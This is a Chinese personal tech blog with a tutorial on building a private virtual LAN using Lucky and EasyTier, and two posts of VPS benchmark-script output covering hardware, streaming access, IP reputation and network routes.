DNS-黑名单	304(Total_Check) 0(Clean) 9(Blacklisted) 14(Other)
Google搜索可行性	NO

邮件端口检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


Platform SMTP SMTPS POP3 POP3S IMAP IMAPS
LocalPort ✔ ✔ ✔ ✔ ✔ ✔ 
QQ ✔ ✔ ✔ ✘ ✔ ✘ 
163 ✔ ✔ ✔ ✘ ✔ ✘ 
Sohu ✔ ✔ ✔ ✘ ✔ ✘ 
Yandex ✔ ✔ ✔ ✘ ✔ ✘ 
Gmail ✘ ✘ ✘ ✘ ✘ ✘ 
Outlook ✔ ✘ ✔ ✘ ✔ ✘ 
Office365 ✔ ✘ ✔ ✘ ✔ ✘ 
Yahoo ✔ ✔ ✘ ✘ ✘ ✘ 
MailCOM ✔ ✔ ✔ ✘ ✔ ✘ 
MailRU ✔ ✔ ✘ ✘ ✔ ✘ 
AOL ✔ ✔ ✘ ✘ ✘ ✘ 
GMX ✔ ✔ ✔ ✘ ✔ ✘ 
Sina ✔ ✔ ✔ ✘ ✔ ✘ 
Apple ✘ ✔ ✘ ✘ ✘ ✘ 
FastMail ✘ ✔ ✘ ✘ ✘ ✘ 
ProtonMail✘ ✘ ✘ ✘ ✘ ✘ 
MXRoute ✔ ✘ ✔ ✘ ✔ ✘ 
Namecrane ✔ ✔ ✔ ✘ ✔ ✘ 
XYAMail ✘ ✘ ✘ ✘ ✘ ✘ 
ZohoMail ✘ ✔ ✘ ✘ ✘ ✘ 
Inbox_eu ✔ ✔ ✔ ✘ ✘ ✘ 
Free_fr ✘ ✔ ✔ ✘ ✔ ✘ 

全国延迟检测	内容
联通上海	9
联通太原	23
电信南京	3
电信上海	8
电信武汉	17
移动成都	27

自动更新测速节点列表

1
2
3
4
5


位置		 上传速度	 下载速度	 延迟
Speedtest.net	 193.89Mbps	 0.80Mbps	 325.24ms	
日本东京	 19.73Mbps	 0.03Mbps	 198.10ms	
联通上海5G	 3.53Mbps	 0.00Mbps	 788.42ms	
移动Suzhou	 202.91Mbps	 0.09Mbps	 112.50ms	

26.7.11

混元那边改了条款说15天激活一次，我比较懒就直接放生了。

之前折腾了一下感觉用法也就是装cloudflare tunnel来当一台等效于美西普通线路的机器（tunnel的接入点只有SJC我也是无语了）

没有vps的可以折腾玩玩，这个感觉当探针和uptime还是比较好用的

lucky+easytier构建个人内网环境

Tue, 07 Apr 2026 00:00:00 +0000

搭建一个个人的内网环境

前言

随口说几句

对于nas而言，网上大部分外网访问方案主要分为内网穿透和异地组网。我主要倾向于异地组网方案，个人认为更加的安全。由于我长期在学校里，学校的ap隔离非常恶心(tailscale打不通，是的，直接timeout)，并且我意外的测试出easytier能够打通连接，而且配置一个中转会更加稳定。而且不知什么原因似乎公共的服务器不是很稳定且大部分都不能中转流量，这个对无法p2p的时候非常灾难。所以我尝试做了可以脱离et公共体系的异地组网

lucky可以实现在nat1，upnp或nat-pmp的环境下打开公网端口；easytier负责异地组网

实现这个方案，你需要：

多台安装了easytier客户端的设备
一台网络环境为公网或者nat1或者上游开启了upnp且打通后为公网或nat1，24小时长期在线的设备，用于做中继服务器
一个域名（可选）
中继服务器上已安装好lucky（可选）

如果你的中继服务器为固定公网ip可以不需要域名，如果是动态的那么需要域名做ddns。如果是nat1或者是upnp环境那么安装lucky来穿透端口。个人建议如果公网是ipv6还是配一个域名比较好

网络环境为公网可以不用检查网络环境和写穿透规则，直接tcp://ip:11010即可

检查网络环境

我们需要先检测设备的stun，首先我们打开lucky，点击 内网穿透里面的stun内网穿透 然后点NAT类型检测 然后选多个服务器多测试几遍，这个有些服务器不是很准。如果大部分显示NAT1那么就可以直接去写穿透规则了，否则需要在路由器开启upnp和nat-pmp后，在终端执行下面的指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


sudo apt update && sudo apt install -y miniupnpc natpmpc && bash -lc '
echo "=== UPnP ==="
u="$(upnpc -s 2>&1)"; echo "$u"; echo
if printf "%s\n" "$u" | grep -Eq "Found valid IGD|ExternalIPAddress|External IP address"; then
 echo "[UPnP] Supported / Responding"
else
 echo "[UPnP] Not detected or disabled"
fi
echo
echo "=== NAT-PMP ==="
n="$(natpmpc 2>&1)"; echo "$n"; echo
if printf "%s\n" "$n" | grep -Eq "Public IP address|using gateway"; then
 echo "[NAT-PMP] Supported / Responding"
else
 echo "[NAT-PMP] Not detected or disabled"
fi
'

UPnP 成功：输出 [UPnP] Supported / Responding，并伴随 Found valid IGD、ExternalIPAddress 之类内容
UPnP 失败：输出 [UPnP] Not detected or disabled，常见是 No IGD UPnP Device found on the network
NAT-PMP 成功：输出 [NAT-PMP] Supported / Responding，并伴随 Public IP address 或 using gateway
NAT-PMP 失败：输出 [NAT-PMP] Not detected or disabled，常见是超时或 readnatpmpresponseorretry returned ...

只要其中一个成功就可以写穿透规则了

穿透规则

先点添加穿透规则，然后如下图配置然后点添加，可以重复操作来添加udp

添加后等一会就能打通了

出于不知名的原因，我需要禁用通道有效性检测，原因我不清楚，但是不禁用就会陷入lucky设计的重启规则的死循环，而且很奇怪的是通道是通的

我是浙江联通，实测下来tcp连接成功率感人但是udp稳定，一般不都是udp不稳定但是tcp稳定吗……

配置DDNS

由于我是动态ipv4和动态ipv6，而且我不喜欢填ip~~就是懒😆~~ ,所以我选择配置ddns。此处我使用托管在cloudflare的域名

首先切换到动态域名，再点击添加任务，填写cf的用户key 启用{ipv6Addr}和{ipv4Addr} 然后写一个ipv6(AAAA)的同步记录，我建议用子域名，比如et1.example.com。备注随便写只要记得住就行。之后点添加任务

然后添加一个txt记录备注随便写，自己看的懂就行。记录名是之前的子域名，记录内容是udp://{STUN_easytier_ADDR}

此处换tcp只要把udp换了就行。{STUN_easytier_ADDR}类似于环境变量，其中easytier是穿透规则的规则名称，比如说写的名称是et那就写{STUN_et_ADDR}

对于ios设备是不支持txt://协议的，所以说我们要换一个方案。我是直接在动态域名里面直接写A解析和AAAA解析的，然后用tcp://et1.example.com:11010和udp://et1.example.com:11010来连到中继服务器

创建easytier虚拟内网

先登录到easytier控制台登录成功后，点设备列表，应该会有一台设备，点击那个设备的设置（小齿轮），创建新网络

虚拟ipv4地址：关闭DHCP，填一个内网ip，比如说：192.168.66.1
网络名称,网络密码：自己想一个，记住
网络方式：这个地方是写中继服务器的地址的，写txt://et.example.com

高级设置可以直接抄我的，主要是选启用私有模式 然后按照这个格式改一下ip比如说192.168.66.2来配置其他设备就行了

参考来源

dedirock 2025黑五vps个人测试

Wed, 01 Apr 2026 00:00:00 +0000

手上有两台dedirock的vps放着吃灰，遂都跑了一遍聚合怪。

我买的是dedirock的2025年的黑五机器（是的，到4.1了还有去年的黑五机器），一台在LA，一台在NY。这也算是我第一次买vps。

主要还是价格太便宜了。1h2g，30g硬盘以及1g带宽4t的流量，还有独立的ipv4和ipv6。6.75美元，要什么自行车！😝

下面是NY机器的聚合怪脚本结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299


测评频道: https://t.me/+UHVoo2U4VyA5NTQ1 
VPS融合怪版本：2026.02.28
Shell项目地址：https://github.com/spiritLHLS/ecs
Go项目地址 [推荐]：https://github.com/oneclickvirt/ecs
---------------------基础信息查询--感谢所有开源项目----------------------
 CPU 型号 : Intel(R) Xeon(R) CPU E5-2660 v2 @ 2.20GHz
 CPU 核心数 : 1
 CPU 频率 : 2199.998 MHz
 CPU 缓存 : L1: 32.00 KB / L2: 256.00 KB / L3: 25.00 MB
 AES-NI指令集 : ✔ Enabled
 VM-x/AMD-V支持 : ✔ Enabled
 内存 : 1.20 GiB / 1.92 GiB
 Swap : 1.01 GiB / 2.00 GiB
 硬盘空间 : 13.67 GiB / 29.42 GiB
 启动盘路径 : /dev/vda1
 系统在线时间 : 12 days, 21 hour 8 min
 负载 : 0.38, 0.15, 0.04
 系统 : Debian GNU/Linux 12 (bookworm) (x86_64)
 架构 : x86_64 (64 Bit)
 内核 : 6.1.0-44-amd64
 TCP加速方式 : bbr
 虚拟化架构 : KVM
 NAT类型 : Port Restricted Cone
 IPV4 ASN : AS36352 HostPapa
 IPV4 位置 : Buffalo / New York / US
 IPV6 ASN : AS36352 HostPapa
 IPV6 位置 : Buffalo / New York / United States
 IPV6 子网掩码 : 128
------------------------CPU测试--通过sysbench测试-------------------------
 -> CPU 测试中 (Fast Mode, 1-Pass @ 5sec)
 1 线程测试(单核)得分: 		558 Scores
--------------------内存测试--感谢lemonbench开源----------------------------
 -> 内存测试 Test (Fast Mode, 1-Pass @ 5sec)
 单线程读测试:		11494.06 MB/s
 单线程写测试:		9436.30 MB/s
--------------------磁盘dd读写测试--感谢lemonbench开源--------------------
 -> 磁盘IO测试中 (4K Block/1M Block, Direct Mode)
 测试操作		写速度					读速度
 100MB-4K Block		12.7 MB/s (3096 IOPS, 8.27s)		13.8 MB/s (3375 IOPS, 7.58s)
 1GB-1M Block		101 MB/s (97 IOPS, 10.33s)		349 MB/s (333 IOPS, 3.00s)
----------------------磁盘fio读写测试--感谢yabs开源-----------------------
Block Size | 4k (IOPS) | 64k (IOPS)
 ------ | --- ---- | ---- ---- 
Read | 17.40 MB/s (4.3k) | 131.77 MB/s (2.0k)
Write | 17.39 MB/s (4.3k) | 132.46 MB/s (2.0k)
Total | 34.79 MB/s (8.6k) | 264.24 MB/s (4.1k)
 | | 
Block Size | 512k (IOPS) | 1m (IOPS)
 ------ | --- ---- | ---- ---- 
Read | 89.80 MB/s (175) | 75.78 MB/s (74)
Write | 94.58 MB/s (184) | 80.82 MB/s (78)
Total | 184.38 MB/s (359) | 156.60 MB/s (152)
---------------流媒体解锁--感谢oneclickvirt/UnlockTests测试----------------
测试时间: 2026-04-06 23:53:33
IPV4:
============[ 跨国平台 ]============
Apple YES (Region: USA)
BingSearch YES (Region: US)
Claude YES (Region: US)
Dazn Banned
Disney+ NO (forbidden-location)
Gemini YES (Region: US)
GoogleSearch YES
Google Play Store YES (Region: US)
IQiYi YES (Region: US)
Instagram Licensed Audio YES
KOCOWA YES
MetaAI YES
Netflix NO
Netflix CDN NO (Main Service Unavailable) (Region: US)
OneTrust YES (Region: US NEW YORK)
ChatGPT YES (Region: US)
Paramount+ YES
Amazon Prime Video YES (Region: US)
Reddit NO
SonyLiv Banned
Sora YES (Region: US)
Spotify Registration NO
Steam Store YES (Community Available) (Region: US)
TVBAnywhere+ YES (Region: US)
TikTok YES (Region: US)
Viu.com YES
Wikipedia Editability NO
YouTube Region YES
YouTube CDN ORD
IPV6:
============[ 跨国平台 ]============
Apple YES (Region: USA)
BingSearch YES (Region: US)
Claude YES
Dazn N/A (No IPv6 Support)
Disney+ NO (forbidden-location)
Gemini YES (Region: US)
GoogleSearch YES
Google Play Store YES (Region: US)
IQiYi N/A (No IPv6 Support)
Instagram Licensed Audio YES
KOCOWA N/A (No IPv6 Support)
MetaAI YES
Netflix NO
Netflix CDN NO (Main Service Unavailable) (Region: US)
OneTrust YES (Region: US NEW YORK)
ChatGPT Unknown
Paramount+ YES
Amazon Prime Video N/A (No IPv6 Support)
Reddit Failed (Network Connection Failed)
SonyLiv Banned
Sora YES (Region: US)
Spotify Registration NO
Steam Store Failed (Network Connection Failed)
TVBAnywhere+ N/A (No IPv6 Support)
TikTok N/A (No IPv6 Support)
Viu.com N/A (No IPv6 Support)
Wikipedia Editability NO
YouTube Region YES
YouTube CDN ORD
---------------------TikTok解锁--感谢lmc999的源脚本---------------------
 Tiktok Region:		【US】
-------------IP质量检测--基于oneclickvirt/securityCheck使用--------------
数据仅作参考，不代表100%准确，如果和实际情况不一致请手动查询多个数据库比对
以下为各数据库编号，输出结果后将自带数据库来源对应的编号
ipinfo数据库 [0] | scamalytics数据库 [1] | virustotal数据库 [2] | abuseipdb数据库 [3] | ip2location数据库 [4]
ip-api数据库 [5] | ipwhois数据库 [6] | ipregistry数据库 [7] | ipdata数据库 [8] | db-ip数据库 [9]
ipapiis数据库 [A] | ipapicom数据库 [B] | bigdatacloud数据库 [C] | dkly数据库 [D] | ipqualityscore数据库 [E]
ipintel数据库 [F] | ipfighter数据库 [G] | fraudlogix数据库 [H] | cloudflare数据库 [I] |
IPV4:
安全得分:
信任得分(越高越好): 75 [8] 
VPN得分(越低越好): 10 [8] 
代理得分(越低越好): 0 [8] 
社区投票-无害: 0 [2] 
社区投票-恶意: 0 [2] 
威胁得分(越低越好): 66 [8] 
欺诈得分(越低越好): 65 [E] 
滥用得分(越低越好): 0 [3] 
ASN滥用得分(越低越好): 0.0343 (High) [A] 
公司滥用得分(越低越好): 0 (Very Low) [A] 
威胁级别: low [9 B] 
流量占比: 真人(越高越好)15% [I] 机器人(越低越好)84% [I]
黑名单记录统计:(有多少黑名单网站有记录):
无害记录数: 0 [2] 恶意记录数: 0 [2] 可疑记录数: 0 [2] 无记录数: 94 [2] 
安全信息:
使用类型: business [9] hosting [0 3 7 8 A C]
公司类型: hosting [0 7 A] 
浏览器类型: 主流88% 其他11% [I] 
设备类型: 桌面80% 移动19% 其他0% [I] 
操作系统类型: 主流93% 其他6% [I] 
是否云提供商: Yes [7] 
是否数据中心: Yes [0 5 8 A C G] 
是否移动设备: Yes [E] No [5 A C G]
是否代理: Yes [E G] No [0 4 5 7 8 9 A B C]
是否VPN: No [0 7 A C] Yes [E G]
是否Tor: No [0 3 7 8 A B C E] 
是否Tor出口: No [7] 
是否网络爬虫: No [9 A B E] 
是否匿名: No [7 8] 
是否攻击者: No [7 8] 
是否滥用者: No [7 8 A C E] 
是否威胁: No [7 8 C]
是否中继: No [0 7 8 C] 
是否Bogon: No [7 8 A C] 
是否机器人: No [E] 
DNS-黑名单: 304(Total_Check) 0(Clean) 0(Blacklisted) 0(Other) 
IPV6:
安全得分:
滥用得分(越低越好): 0 [3] 
ASN滥用得分(越低越好): 0.0343 (High) [A]
公司滥用得分(越低越好): 0 (Very Low) [A] 
威胁级别: low [B] 
流量占比: 真人(越高越好)15% [I] 机器人(越低越好)84% [I]
安全信息:
使用类型: hosting [3 A] 
公司类型: hosting [A] 
浏览器类型: 主流88% 其他11% [I] 
设备类型: 桌面80% 移动19% 其他0% [I] 
操作系统类型: 主流93% 其他6% [I] 
是否数据中心: Yes [A G] 
是否移动设备: No [A G] 
是否代理: Yes [G] No [A B]
是否VPN: Yes [G] No [A]
是否Tor: No [3 A B] 
是否网络爬虫: No [A B] 
是否滥用者: No [A] 
是否Bogon: No [A] 
DNS-黑名单: 304(Total_Check) 0(Clean) 0(Blacklisted) 304(Other) 
Google搜索可行性：NO
------------邮件端口检测--基于oneclickvirt/portchecker开源------------
Platform SMTP SMTPS POP3 POP3S IMAP IMAPS
LocalPort ✔ ✔ ✔ ✔ ✔ ✔ 
QQ ✔ ✔ ✔ ✘ ✔ ✘ 
163 ✔ ✔ ✔ ✘ ✔ ✘ 
Sohu ✔ ✔ ✔ ✘ ✔ ✘ 
Yandex ✔ ✔ ✔ ✘ ✔ ✘ 
Gmail ✔ ✔ ✘ ✘ ✘ ✘ 
Outlook ✔ ✘ ✔ ✘ ✔ ✘ 
Office365 ✔ ✘ ✔ ✘ ✔ ✘ 
Yahoo ✔ ✔ ✘ ✘ ✘ ✘ 
MailCOM ✔ ✔ ✔ ✘ ✔ ✘ 
MailRU ✔ ✔ ✘ ✘ ✔ ✘ 
AOL ✔ ✔ ✘ ✘ ✘ ✘ 
GMX ✔ ✔ ✔ ✘ ✔ ✘ 
Sina ✔ ✘ ✔ ✘ ✔ ✘ 
Apple ✘ ✔ ✘ ✘ ✘ ✘ 
FastMail ✘ ✔ ✘ ✘ ✘ ✘ 
ProtonMail✘ ✘ ✘ ✘ ✘ ✘ 
MXRoute ✔ ✘ ✔ ✘ ✔ ✘ 
Namecrane ✔ ✔ ✔ ✘ ✔ ✘ 
XYAMail ✘ ✘ ✘ ✘ ✘ ✘ 
ZohoMail ✘ ✔ ✘ ✘ ✘ ✘ 
Inbox_eu ✔ ✔ ✔ ✘ ✘ ✘ 
Free_fr ✘ ✔ ✔ ✘ ✔ ✘ 
-------------上游及三网回程--基于oneclickvirt/backtrace开源--------------
国家: US 城市: Buffalo 服务商: AS36352 HostPapa
北京电信v4 219.141.140.10 电信163 [普通线路] 
北京联通v4 202.106.195.68 检测不到回程路由节点的IPV4地址
北京移动v4 221.179.155.161 移动CMI [普通线路] 
上海电信v4 202.96.209.133 检测不到回程路由节点的IPV4地址
上海联通v4 210.22.97.1 联通4837 [普通线路] 
上海移动v4 211.136.112.200 移动CMI [普通线路] 
广州电信v4 58.60.188.222 电信163 [普通线路] 
广州联通v4 210.21.196.6 检测不到回程路由节点的IPV4地址
广州移动v4 120.196.165.24 移动CMI [普通线路] 
成都电信v4 61.139.2.69 电信163 [普通线路] 
成都联通v4 119.6.6.6 检测不到回程路由节点的IPV4地址
成都移动v4 211.137.96.205 移动CMI [普通线路] 
北京电信v6 2400:89c0:1053:3::69 检测不到回程路由节点的IPV6地址
北京联通v6 2400:89c0:1013:3::54 检测不到回程路由节点的IPV6地址
北京移动v6 2409:8c00:8421:1303::55 检测不到回程路由节点的IPV6地址
上海电信v6 240e:e1:aa00:4000::24 电信163 [普通线路] 
上海联通v6 2408:80f1:21:5003::a 检测不到回程路由节点的IPV6地址
上海移动v6 2409:8c1e:75b0:3003::26 移动CMI [普通线路] 
广州电信v6 240e:97c:2f:3000::44 检测不到回程路由节点的IPV6地址
广州联通v6 2408:8756:f50:1001::c 检测不到回程路由节点的IPV6地址
广州移动v6 2409:8c54:871:1001::12 移动CMIN2 [精品线路] 
准确线路自行查看详细路由，本测试结果仅作参考
同一目标地址多个线路时，检测可能已越过汇聚层，除第一个线路外，后续信息可能无效
----------------------回程路由--基于nexttrace开源-----------------------
依次测试电信/联通/移动经过的地区及线路，核心程序来自nexttrace，请知悉!
广州电信 58.60.188.222
16.56 ms 	AS36352 美国 纽约州 布法罗 colocrossing.com
1.31 ms 	* RFC1918
0.68 ms 	* RFC1918
0.70 ms 	* RFC1918
0.98 ms 	AS1299 [ARELION-NET] 美国 纽约州 水牛城 arelion.com
10.82 ms 	AS1299 [ARELION-NET] 美国 纽约 纽约 arelion.com
76.39 ms 	AS1299 [ARELION-NET] 美国 伊利诺伊 芝加哥 arelion.com
42.73 ms 	AS1299 [ARELION-NET] 美国 科罗拉多 丹佛 arelion.com
78.24 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 圣何塞 arelion.com
76.30 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 圣何塞 arelion.com
104.49 ms 	AS4134 [CHINANET-US] 美国 加利福尼亚 圣何塞 Cogent/Telia-CT-PoP chinatelecom.com.cn 电信
224.85 ms 	AS4134 [CHINANET-BB] 中国 广东 广州 chinatelecom.com.cn 电信
232.93 ms 	AS4134 [CHINANET-BB] 中国 广东 广州 chinatelecom.com.cn 电信
233.75 ms 	AS4134 [CHINANET-GD] 中国 广东 深圳 chinatelecom.com.cn 电信
广州联通 210.21.196.6
16.66 ms 	AS36352 美国 纽约州 布法罗 colocrossing.com
1.09 ms 	* RFC1918
0.60 ms 	* RFC1918
0.63 ms 	* RFC1918
1.19 ms 	AS1299 [ARELION-NET] 美国 纽约州 水牛城 arelion.com
0.92 ms 	AS1299 [ARELION-NET] 美国 纽约州 水牛城 arelion.com
13.72 ms 	AS1299 [ARELION-NET] 美国 伊利诺伊 芝加哥 arelion.com
24.72 ms 	AS1299 [ARELION-NET] 新加坡 arelion.com
34.97 ms 	AS1299 [ARELION-NET] 美国 德克萨斯 达拉斯 arelion.com
73.74 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
70.96 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 洛杉矶 arelion.com
226.02 ms 	AS1299 美国 加利福尼亚 洛杉矶 arelion.com
246.99 ms 	AS4837 [CU169-BACKBONE] 中国 广东省 广州市 chinaunicom.cn
250.71 ms 	AS4837 [CU169-BACKBONE] 中国 北京 chinaunicom.cn
245.00 ms 	AS17623 [APNIC-AP] 中国 广东 深圳 chinaunicom.cn 联通
246.24 ms 	AS17623 中国 广东 深圳 宝安区 chinaunicom.cn 联通
广州移动 120.196.165.24
3.48 ms 	AS36352 美国 纽约州 布法罗 colocrossing.com
1.42 ms 	* RFC1918
2.70 ms 	* RFC1918
0.63 ms 	* RFC1918
0.91 ms 	AS1299 [ARELION-NET] 美国 纽约州 水牛城 arelion.com
10.46 ms 	AS1299 [ARELION-NET] 美国 纽约 纽约 arelion.com
76.37 ms 	AS1299 [ARELION-NET] 美国 伊利诺伊 芝加哥 arelion.com
42.41 ms 	AS1299 [ARELION-NET] 美国 科罗拉多 丹佛 arelion.com
76.34 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 圣何塞 arelion.com
66.48 ms 	AS1299 [ARELION-NET] 美国 加利福尼亚 圣何塞 Telia-CMI-Peer arelion.com
66.90 ms 	AS58453 [CMI-INT] 美国 加利福尼亚 圣何塞 cmi.chinamobile.com 移动
227.47 ms 	AS58453 [CMI-INT] 中国 广东 广州 cmi.chinamobile.com 移动
228.26 ms 	AS9808 [CMNET] 中国 广东 广州 X-I chinamobileltd.com 移动
228.36 ms 	AS9808 [CMNET] 中国 广东 广州 I-C chinamobileltd.com 移动
228.75 ms 	AS9808 [CMNET] 中国 广东 广州 chinamobileltd.com 移动
231.36 ms 	AS9808 [CMNET] 中国 广东 广州 chinamobileltd.com 移动
232.10 ms 	AS56040 [APNIC-AP] 中国 广东 深圳 gd.10086.cn 移动
---------------------自动更新测速节点列表--本脚本原创----------------------
位置		 上传速度	 下载速度	 延迟
Speedtest.net	 621.72Mbps	 846.41Mbps	 2.05ms	
法兰克福	 57.76Mbps	 18.81Mbps	 97.41ms	
联通上海5G	 22.62Mbps	 63.62Mbps	 238.86ms	
电信Suzhou5G	 23.64Mbps	 37.02Mbps	 216.60ms	
电信Zhenjiang5G	 12.15Mbps	 19.61Mbps	 204.13ms	
------------------------------------------------------------------------
 总共花费 : 8 分 46 秒
 时间 : Mon Apr 6 23:58:24 EDT 2026
------------------------------------------------------------------------

还有LA机器的测试结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286


测评频道: https://t.me/+UHVoo2U4VyA5NTQ1 
VPS融合怪版本：2026.02.28
Shell项目地址：https://github.com/spiritLHLS/ecs
Go项目地址 [推荐]：https://github.com/oneclickvirt/ecs
---------------------基础信息查询--感谢所有开源项目----------------------
 CPU 型号 : Intel(R) Xeon(R) CPU E5-2660 v2 @ 2.20GHz
 CPU 核心数 : 1
 CPU 频率 : 2199.982 MHz
 CPU 缓存 : L1: 32.00 KB / L2: 256.00 KB / L3: 25.00 MB
 AES-NI指令集 : ✔ Enabled
 VM-x/AMD-V支持 : ✔ Enabled
 内存 : 1.23 GiB / 1.93 GiB
 Swap : 1.91 GiB / 2.00 GiB
 硬盘空间 : 14.70 GiB / 29.42 GiB
 启动盘路径 : /dev/vda1
 系统在线时间 : 0 days, 23 hour 39 min
 负载 : 0.53, 0.34, 0.29
 系统 : Debian GNU/Linux 13 (trixie) (x86_64)
 架构 : x86_64 (64 Bit)
 内核 : 6.12.41+deb13-amd64
 TCP加速方式 : bbr
 虚拟化架构 : KVM
 NAT类型 : Full Cone
 IPV4 ASN : AS36352 HostPapa
 IPV4 位置 : Los Angeles / California / US
 IPV6 ASN : AS36352 HostPapa
 IPV6 位置 : United States
 IPV6 子网掩码 : 128
------------------------CPU测试--通过sysbench测试-------------------------
 -> CPU 测试中 (Fast Mode, 1-Pass @ 5sec)
 1 线程测试(单核)得分: 		472 Scores
--------------------内存测试--感谢lemonbench开源----------------------------
 -> 内存测试 Test (Fast Mode, 1-Pass @ 5sec)
 单线程读测试:		9776.75 MB/s
 单线程写测试:		8793.61 MB/s
--------------------磁盘dd读写测试--感谢lemonbench开源--------------------
 -> 磁盘IO测试中 (4K Block/1M Block, Direct Mode)
 测试操作		写速度					读速度
 100MB-4K Block		12.6 MB/s (3069 IOPS, 8.34s)		12.7 MB/s (3090 IOPS, 8.28s)
 1GB-1M Block		792 MB/s (755 IOPS, 1.32s)		814 MB/s (776 IOPS, 1.29s)
----------------------磁盘fio读写测试--感谢yabs开源-----------------------
Block Size | 4k (IOPS) | 64k (IOPS)
 ------ | --- ---- | ---- ---- 
Read | 21.11 MB/s (5.2k) | 271.39 MB/s (4.2k)
Write | 21.12 MB/s (5.2k) | 272.82 MB/s (4.2k)
Total | 42.23 MB/s (10.5k) | 544.21 MB/s (8.5k)
 | | 
Block Size | 512k (IOPS) | 1m (IOPS)
 ------ | --- ---- | ---- ---- 
Read | 641.00 MB/s (1.2k) | 657.24 MB/s (641)
Write | 675.06 MB/s (1.3k) | 701.01 MB/s (684)
Total | 1.31 GB/s (2.5k) | 1.35 GB/s (1.3k)
---------------流媒体解锁--感谢oneclickvirt/UnlockTests测试----------------
测试时间: 2026-04-02 11:26:43
IPV4:
============[ 跨国平台 ]============
Apple YES (Region: USA)
BingSearch YES (Region: US)
Claude YES (Region: US)
Dazn Banned
Disney+ NO (forbidden-location)
Gemini NO
GoogleSearch YES
Google Play Store NO (Region: CN)
IQiYi YES (Region: US)
Instagram Licensed Audio YES
KOCOWA YES
MetaAI YES
Netflix NO
Netflix CDN NO (Main Service Unavailable) (Region: US)
OneTrust YES (Region: US CALIFORNIA)
ChatGPT YES (Region: US)
Paramount+ YES
Amazon Prime Video YES (Region: US)
Reddit NO
SonyLiv Banned
Sora YES (Region: US)
Spotify Registration NO
Steam Store YES (Community Available) (Region: US)
TVBAnywhere+ YES (Region: US)
TikTok YES (Region: US)
Viu.com YES
Wikipedia Editability NO
YouTube Region NO
YouTube CDN NO (Google Global CacheCDN - ISP Cooperation Main Service Unavailable) (Region: PNIADA - AS)
IPV6:
============[ 跨国平台 ]============
Apple YES (Region: USA)
BingSearch YES (Region: US)
Claude YES
Dazn N/A (No IPv6 Support)
Disney+ NO (forbidden-location)
Gemini NO
GoogleSearch YES
Google Play Store NO (Region: CN)
IQiYi N/A (No IPv6 Support)
Instagram Licensed Audio YES
KOCOWA N/A (No IPv6 Support)
MetaAI YES
Netflix NO
Netflix CDN NO (Main Service Unavailable) (Region: US)
OneTrust YES (Region: US CALIFORNIA)
ChatGPT Unknown
Paramount+ YES
Amazon Prime Video N/A (No IPv6 Support)
Reddit NO
SonyLiv Banned
Sora YES (Region: US)
Spotify Registration NO
Steam Store Failed (Network Connection Failed)
TVBAnywhere+ N/A (No IPv6 Support)
TikTok N/A (No IPv6 Support)
Viu.com N/A (No IPv6 Support)
Wikipedia Editability NO
YouTube Region NO
YouTube CDN NO (Google Global CacheCDN - ISP Cooperation Main Service Unavailable) (Region: PNIADA - AS)
---------------------TikTok解锁--感谢lmc999的源脚本---------------------
 Tiktok Region:		【US】
-------------IP质量检测--基于oneclickvirt/securityCheck使用--------------
数据仅作参考，不代表100%准确，如果和实际情况不一致请手动查询多个数据库比对
以下为各数据库编号，输出结果后将自带数据库来源对应的编号
ipinfo数据库 [0] | scamalytics数据库 [1] | virustotal数据库 [2] | abuseipdb数据库 [3] | ip2location数据库 [4]
